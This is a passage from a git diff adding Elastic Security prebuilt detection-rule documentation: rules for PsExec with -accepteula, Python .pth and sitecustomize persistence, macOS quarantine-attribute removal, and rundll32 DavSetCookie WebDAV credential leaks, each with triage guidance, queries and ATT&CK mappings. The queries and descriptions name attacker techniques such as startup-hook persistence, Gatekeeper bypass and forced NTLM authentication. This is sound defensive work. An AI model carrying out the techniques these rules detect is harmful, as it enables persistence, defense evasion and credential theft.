Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Identify the target computer and its role in the IT environment. +- Investigate what commands were run, and assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. + + +*False positive analysis* + + +- This mechanism can be used legitimately. As long as the analyst did not identify suspicious activity related to the user or involved hosts, and the tool is allowed by the organization's policy, such alerts can be dismissed. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. + - Prioritize cases involving critical servers and users. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Review the privileges assigned to the user to ensure that the least privilege principle is being followed. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and + (process.name : "PsExec.exe" or ?process.pe.original_file_name : "psexec.c") and + + /* This flag suppresses the display of the license dialog and may + indicate that psexec executed for the first time in the machine */ + process.args : "-accepteula" and + + not process.executable : ("?:\\ProgramData\\Docusnap\\Discovery\\discovery\\plugins\\17\\Bin\\psexec.exe", + "?:\\Docusnap 11\\Bin\\psexec.exe", + "?:\\Program Files\\Docusnap X\\Bin\\psexec.exe", + "?:\\Program Files\\Docusnap X\\Tools\\dsDNS.exe") and + not process.parent.executable : "?:\\Program Files (x86)\\Cynet\\Cynet Scanner\\CynetScanner.exe"] + [network where host.os.type == "windows"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: System Services +** ID: T1569 +** Reference URL: https://attack.mitre.org/techniques/T1569/ +* Sub-technique: +** Name: Service Execution +** ID: T1569.002 +** Reference URL: https://attack.mitre.org/techniques/T1569/002/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SMB/Windows Admin Shares +** ID: T1021.002 +** Reference URL: https://attack.mitre.org/techniques/T1021/002/ +* Technique: +** Name: Lateral Tool Transfer +** ID: T1570 +** Reference URL: https://attack.mitre.org/techniques/T1570/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-python-path-file-pth-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-python-path-file-pth-creation.asciidoc new file mode 100644 index 0000000000..609746fcac --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-python-path-file-pth-creation.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-20-python-path-file-pth-creation]] +=== Python Path File (pth) Creation + +This rule detects the creation of .pth files in system-wide and user-specific Python package directories, which can be abused for persistent code execution. .pth files automatically execute Python code when the interpreter starts, making them a stealthy persistence mechanism. Monitoring these paths helps identify unauthorized modifications that could indicate persistence by an attacker or malicious package injection. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dfir.ch/posts/publish_python_pth_extension/ +* https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/ +* https://futuresearch.ai/blog/litellm-pypi-supply-chain-attack/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Python Path File (pth) Creation* + + +Python Path Files (.pth) are used to automatically execute code when the Python interpreter starts, making them a potential target for adversaries seeking persistence. Attackers can exploit .pth files by placing malicious code in directories where Python packages reside, ensuring execution each time Python runs. The detection rule monitors the creation and renaming of .pth files in key directories, excluding legitimate processes, to identify unauthorized modifications indicative of malicious activity. + + +*Possible investigation steps* + + +- Review the file path where the .pth file was created or renamed to determine if it is within a legitimate Python package directory, as specified in the query paths. +- Identify the process executable responsible for the creation or renaming of the .pth file and verify if it is listed as an excluded legitimate process in the query. +- Investigate the parent process of the identified executable to understand the context of the .pth file creation and assess if it aligns with expected behavior. +- Check the timestamp of the .pth file creation or renaming event to correlate with any known scheduled tasks or user activities. +- Examine the contents of the .pth file to identify any suspicious or unauthorized code that could indicate malicious intent. +- Review recent system logs and user activity around the time of the event to identify any anomalies or unauthorized access attempts. + + +*False positive analysis* + + +- Legitimate package installations or updates using package managers like pip or poetry can trigger false positives. To handle this, ensure that the process executables for these package managers are included in the exclusion list. +- Automated scripts or CI/CD pipelines that manage Python environments might create or rename .pth files. Identify these scripts and add their executables to the exclusion list to prevent unnecessary alerts. +- System updates or maintenance tasks that involve Python package directories can also result in false positives. Monitor these activities and temporarily adjust the rule or add specific system maintenance processes to the exclusion list. +- Custom Python applications that manage dependencies or configurations through .pth files may cause alerts. Review these applications and consider adding their specific paths or executables to the exclusion criteria. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further execution of potentially malicious code. +- Identify and terminate any suspicious processes associated with the creation or modification of .pth files, especially those not matching the legitimate process list. +- Remove any unauthorized .pth files from the identified directories to eliminate the persistence mechanism. +- Conduct a thorough review of recent changes to the Python environment and installed packages to identify any malicious or unauthorized modifications. +- Restore affected systems from a known good backup if malicious activity is confirmed and cannot be fully remediated. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for future unauthorized .pth file modifications to quickly detect similar threats. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and file.extension == "pth" and +file.path like ( + "/usr/local/lib/python*/dist-packages/*", + "/usr/lib/python*/dist-packages/*", + "/usr/local/lib/python*/site-packages/*", + "/usr/lib/python*/site-packages/*", + "/home/*/.local/lib/python*/site-packages/*", + "/opt/*/lib/python*/site-packages/*" +) and process.executable != null and not ( + process.executable in ( + "/usr/bin/restic", "/usr/bin/pacman", "/usr/bin/dockerd", "/usr/bin/podman", "/usr/bin/pamac-daemon", + "/usr/bin/dnf", "/usr/bin/dnf5", "/bin/dnf5", "/bin/podman", "./usr/bin/podman", "/kaniko/executor", + "/dev/fd/3", "/opt/SolarWinds/Agent/bin/Plugins/Discovery/SolarWinds.Agent.Discovery.Plugin", "/usr/bin/crio", + "/opt/splunk/bin/splunkd", "/opt/Tanium/TaniumClient/TaniumCX" + ) or + process.executable like ( + "/nix/store/*libexec/docker/dockerd", "/snap/docker/*dockerd" + ) or + ( + process.name like ("platform-python*", "cp", "uv") and + file.name in ("distutils-precedence.pth", "_virtualenv.pth") + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Python Startup Hooks +** ID: T1546.018 +** Reference URL: https://attack.mitre.org/techniques/T1546/018/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Python Startup Hooks +** ID: T1546.018 +** Reference URL: https://attack.mitre.org/techniques/T1546/018/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-python-site-or-user-customize-file-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-python-site-or-user-customize-file-creation.asciidoc new file mode 100644 index 0000000000..63f5c6950b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-python-site-or-user-customize-file-creation.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-20-python-site-or-user-customize-file-creation]] +=== Python Site or User Customize File Creation + +This rule detects the creation and modification of sitecustomize.py and usercustomize.py, which Python automatically executes on startup. Attackers can exploit these files for persistence by injecting malicious code. The rule monitors system-wide, user-specific, and virtual environment locations to catch unauthorized changes that could indicate persistence or backdooring attempts. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Python Site or User Customize File Creation* + + +Python's `sitecustomize.py` and `usercustomize.py` are scripts that execute automatically when Python starts, allowing for environment-specific customizations. Adversaries can exploit these files to maintain persistence by injecting malicious code. The detection rule monitors file creation and modification in key directories, excluding benign processes, to identify unauthorized changes indicative of potential backdooring or persistence attempts. + + +*Possible investigation steps* + + +- Review the file path where the creation or modification was detected to determine if it is a system-wide, user-specific, or virtual environment location, as specified in the query. +- Identify the process executable responsible for the file creation or modification and verify if it is listed in the exclusion list of benign processes. If not, investigate the process for potential malicious activity. +- Check the timestamp of the file creation or modification event to correlate with any other suspicious activities or alerts on the system around the same time. +- Examine the contents of the sitecustomize.py or usercustomize.py file for any unauthorized or suspicious code that could indicate persistence mechanisms or backdooring attempts. +- Investigate the user account associated with the file creation or modification event to determine if the activity aligns with expected behavior or if it suggests potential compromise. +- Review system logs and other security alerts for additional context or indicators of compromise related to the detected event. + + +*False positive analysis* + + +- Package managers like pip and poetry can trigger false positives when they create or modify sitecustomize.py or usercustomize.py during package installations or updates. To handle this, ensure these processes are included in the exclusion list within the detection rule. +- System updates or software installations that involve Python libraries might also lead to false positives. Regularly review and update the exclusion list to include known benign processes such as pacman or restic that are part of routine system maintenance. +- Custom scripts or automation tools that use Python to manage environments could inadvertently modify these files. Identify and exclude these specific scripts or tools if they are verified as non-malicious. +- Virtual environments often involve the creation of sitecustomize.py for environment-specific configurations. Consider excluding the virtual environment's Python executables if they are part of a controlled and secure development process. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or spread of malicious code. +- Review the contents of the `sitecustomize.py` and `usercustomize.py` files for any unauthorized or suspicious code. Remove any malicious code identified. +- Restore the affected files from a known good backup if available, ensuring that the restored files are free from unauthorized modifications. +- Conduct a thorough scan of the system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malware or persistence mechanisms. +- Monitor the system and network for any signs of continued unauthorized access or attempts to modify the `sitecustomize.py` and `usercustomize.py` files. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for changes to critical Python directories and files to enhance detection of similar threats in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.type == "creation" and process.executable != null and +file.path like ( + "/usr/lib/python*/sitecustomize.py", + "/usr/local/lib/python*/sitecustomize.py", + "/usr/lib/python*/dist-packages/sitecustomize.py", + "/usr/local/lib/python*/dist-packages/sitecustomize.py", + "/opt/*/lib/python*/sitecustomize.py", + "/home/*/.local/lib/python*/site-packages/usercustomize.py", + "/home/*/.config/python/usercustomize.py" +) and not ( + process.executable in ( + "/usr/bin/restic", "/usr/bin/pacman", "/usr/bin/dockerd", "/usr/bin/podman", "/usr/bin/pamac-daemon", + "./usr/bin/podman", "/opt/miniforge3/bin/mamba", "/usr/sbin/dockerd", "/opt/conda/_conda", "/kaniko/executor", + "/usr/bin/crio", "/usr/lib/systemd/systemd-executor" + ) or + process.executable like~ ("/nix/store/*libexec/docker/dockerd", "/snap/docker/*dockerd") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Python Startup Hooks +** ID: T1546.018 +** Reference URL: https://attack.mitre.org/techniques/T1546/018/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Event Triggered Execution +** ID: T1546 +** Reference URL: https://attack.mitre.org/techniques/T1546/ +* Sub-technique: +** Name: Python Startup Hooks +** ID: T1546.018 +** Reference URL: https://attack.mitre.org/techniques/T1546/018/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-quarantine-attrib-removed-by-unsigned-or-untrusted-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-quarantine-attrib-removed-by-unsigned-or-untrusted-process.asciidoc new file mode 100644 index 0000000000..0128fdd053 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-quarantine-attrib-removed-by-unsigned-or-untrusted-process.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-20-quarantine-attrib-removed-by-unsigned-or-untrusted-process]] +=== Quarantine Attrib Removed by Unsigned or Untrusted Process + +Detects deletion of the quarantine attribute by an unusual process (xattr). In macOS, when applications or programs are downloaded from the internet, there is a quarantine flag set on the file. This attribute is read by Apple's Gatekeeper defense program at execution time. An adversary may disable this attribute to evade defenses. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://nixhacker.com/security-protection-in-macos-1/ +* https://eclecticlight.co/2020/10/29/quarantine-and-the-quarantine-flag/ + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Quarantine Attrib Removed by Unsigned or Untrusted Process* + + +In macOS, files downloaded from the internet are tagged with a quarantine attribute, which is checked by Gatekeeper to ensure safety before execution. Adversaries may remove this attribute to bypass security checks, allowing potentially harmful applications to run unchecked. The detection rule identifies such actions by monitoring for the removal of this attribute by processes that are either unsigned or untrusted, flagging unusual activity that deviates from expected behavior. + + +*Possible investigation steps* + + +- Review the process executable path that triggered the alert to determine if it is a known or expected application on the system. Check if it matches any legitimate software that might not be properly signed. +- Investigate the parent process of the flagged executable to understand the context of its execution. This can help identify if the process was spawned by a legitimate application or a potentially malicious one. +- Examine the file path from which the quarantine attribute was removed to assess if it is a common location for downloaded files or if it appears suspicious. +- Check the system for any recent downloads or installations that might correlate with the time of the alert to identify potential sources of the file. +- Look into the user account under which the process was executed to determine if it aligns with expected user behavior or if it might indicate unauthorized access. +- Search for any other alerts or logs related to the same process or file path to identify patterns or repeated attempts to bypass security measures. + + +*False positive analysis* + + +- System processes or legitimate applications may occasionally remove the quarantine attribute as part of their normal operation. Users can create exceptions for known safe processes by adding them to the exclusion list in the detection rule. +- Software updates or installations from trusted vendors might trigger the rule if they are not properly signed. Verify the legitimacy of the software and consider adding the specific executable path to the exclusion list if it is deemed safe. +- Custom scripts or automation tools used within an organization might remove the quarantine attribute as part of their workflow. Review these scripts to ensure they are secure and add their paths to the exclusion list to prevent false positives. +- Temporary files or directories, such as those in /private/var/folders, are already excluded to reduce noise. Ensure that any additional temporary paths used by trusted applications are similarly excluded if they are known to cause false positives. + + +*Response and remediation* + + +- Immediately isolate the affected macOS system from the network to prevent potential lateral movement or further compromise. +- Terminate any untrusted or unsigned processes identified in the alert that are responsible for removing the quarantine attribute. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious software. +- Restore any affected files from a known good backup if they have been altered or compromised. +- Review system logs and the specific file paths involved in the alert to identify any additional unauthorized changes or suspicious activity. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar activities on other macOS systems to enhance detection and response capabilities. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where event.action == "extended_attributes_delete" and host.os.type == "macos" and process.executable != null and + (process.code_signature.trusted == false or process.code_signature.exists == false) and + not process.executable like ("/usr/bin/xattr", + "/System/*", + "/private/tmp/KSInstallAction.*/*/Install Google Software Update.app/Contents/Helpers/ksinstall", + "/Applications/CEWE Fotoschau.app/Contents/MacOS/FotoPlus", + "/Applications/.com.bomgar.scc.*/Remote Support Customer Client.app/Contents/MacOS/sdcust") and + not file.path like "/private/var/folders/*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: Gatekeeper Bypass +** ID: T1553.001 +** Reference URL: https://attack.mitre.org/techniques/T1553/001/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rare-connection-to-webdav-target.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rare-connection-to-webdav-target.asciidoc new file mode 100644 index 0000000000..79d9be2807 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rare-connection-to-webdav-target.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-rare-connection-to-webdav-target]] +=== Rare Connection to WebDAV Target + +Identifies rare connection attempts to a Web Distributed Authoring and Versioning (WebDAV) resource. Attackers may inject WebDAV paths in files or features opened by a victim user to leak their NTLM credentials via forced authentication. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-3660s ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1187/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender for Endpoint +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Rare Connection to WebDAV Target* + + + +*Possible investigation steps* + + +- Examine the reputation of the destination domain or IP address. +- Verify if the target user opened any attachments or clicked links pointing to the same target within seconds from the alert timestamp. +- Correlate the findings with other security logs and alerts to identify any patterns or additional indicators of compromise related to the potential relay attack. + + +*False positive analysis* + + +- User accessing legit WebDAV resources. + + +*Response and remediation* + + +- Conduct a password reset for the target account that may have been compromised or are at risk, ensuring the use of strong, unique passwords. +- Verify whether other users were targeted but did not open the lure.. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach. +- Conduct a post-incident review to identify any gaps in security controls and update policies or procedures to prevent recurrence, ensuring lessons learned are applied to improve overall security posture. + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-*, logs-windows.sysmon_operational-*, logs-system.security-*, logs-windows.*, winlogbeat-*, logs-crowdstrike.fdr*, logs-m365_defender.event-* METADATA _id, _version, _index +| where + @timestamp > now() - 8 hours and + event.category == "process" and + event.type == "start" and + process.name == "rundll32.exe" and + process.command_line like "*DavSetCookie*" +| keep host.id, process.command_line, user.name, user.id +// extract domain or IP address from process cmdline +| grok process.command_line """(?((http|https)://[a-zA-Z0-9-\.]{1,}\.[a-zA-Z]{2,3}[@\/]+)|(\b(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)\b)[@\/]+)""" +// remove sub domains from URL +| eval Esql.server_webdav_server = REPLACE(Esql.server_webdav_server, """((http|https)://[a-zA-Z0-9-]{1,}\.)""", "") +| eval Esql.server_webdav_server = REPLACE(Esql.server_webdav_server, "/", "") +| where + Esql.server_webdav_server is not null and + not Esql.server_webdav_server in ("www.google.com", "www.elastic.co", "sharepoint.com", "live.net", "google.com", "SHAREPOINT.COM", "github.com") and + // excludes private IP ranges + not Esql.server_webdav_server rlike """(10\.(\d{1,3}\.){2}\d{1,3}|172\.(1[6-9]|2\d|3[0-1])\.(\d{1,3}\.)\d{1,3}|192\.168\.(\d{1,3}\.)\d{1,3})""" +| stats + Esql.event_count = count(*), + Esql.host_id_count_distinct = count_distinct(host.id), + Esql.host_id_values = values(host.id), + Esql.user_name_values = values(user.name) + by Esql.server_webdav_server +| where + Esql.host_id_count_distinct == 1 and Esql.event_count <= 3 +| eval host.id = MV_MIN(Esql.host_id_values), user.name = MV_MIN(Esql.user_name_values), destination.domain = MV_MIN(Esql.server_webdav_server) +| KEEP host.id, user.name, destination.domain, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Forced Authentication +** ID: T1187 +** Reference URL: https://attack.mitre.org/techniques/T1187/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Rundll32 +** ID: T1218.011 +** Reference URL: https://attack.mitre.org/techniques/T1218/011/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rare-smb-connection-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-rare-smb-connection-to-the-internet.asciidoc new file mode 100644 index 0000000000..055853b287 --- /dev/null +++ 